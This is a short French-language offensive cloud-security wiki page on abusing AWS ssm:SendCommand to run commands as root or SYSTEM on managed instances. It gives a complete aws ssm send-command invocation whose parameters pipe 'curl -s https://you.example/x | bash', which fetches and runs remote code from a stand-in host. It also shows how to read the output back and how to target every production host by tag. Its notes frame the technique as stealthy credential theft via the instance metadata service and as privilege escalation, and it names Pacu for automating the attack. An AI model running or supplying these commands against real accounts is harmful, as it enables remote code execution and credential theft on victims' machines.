Run command

ssm:SendCommand pour exécuter des commandes en tant que root ou SYSTEM sur des instances managées sans toucher au service de métadonnées.

1 min de lecturemis à jour le 13 oct. 2026florianamette1 contributeur
Demander à votre assistant (MCP)Modifier sur GitHub

ssm:SendCommand exécute une commande shell sur n'importe quelle instance managée par SSM via le document AWS-RunShellScript (Linux) ou AWS-RunPowerShellScript (Windows). La commande s'exécute en tant qu'agent SSM, c'est-à-dire root ou SYSTEM, de sorte qu'un seul appel d'API, sans aucun chemin réseau vers l'hôte, donne une exécution de code complète.

Exécuter une commande#

bash
aws ssm send-command \
  --document-name AWS-RunShellScript \
  --targets Key=InstanceIds,Values=<id1>,<id2> \
  --parameters 'commands=["id","curl -s https://you.example/x | bash"]'

# fetch the output
aws ssm list-command-invocations --command-id <cid> --details

Ciblez plusieurs hôtes à la fois avec un filtre de tag : --targets Key=tag:Env,Values=prod.

Notes d'exploitation#

  • L'exécution en tant que root livre à la fois les secrets présents sur la machine et le rôle du profil d'instance via IMDS, c'est donc un chemin de vol de credentials autant qu'un chemin d'exécution.
  • Elle ne nécessite ni accès entrant ni clé, seulement la permission d'API et une instance managée par l'agent, ce qui la rend discrète par rapport à SSH.
  • ssm:SendCommand est un levier d'escalade de privilèges connu lorsque le rôle d'instance est plus privilégié que l'appelant.

Outils#

  • AWS CLI (ssm send-command, list-command-invocations) : exécuter et lire.
  • Pacu (ssm__send_command) : automatiser sur les instances découvertes.

Références#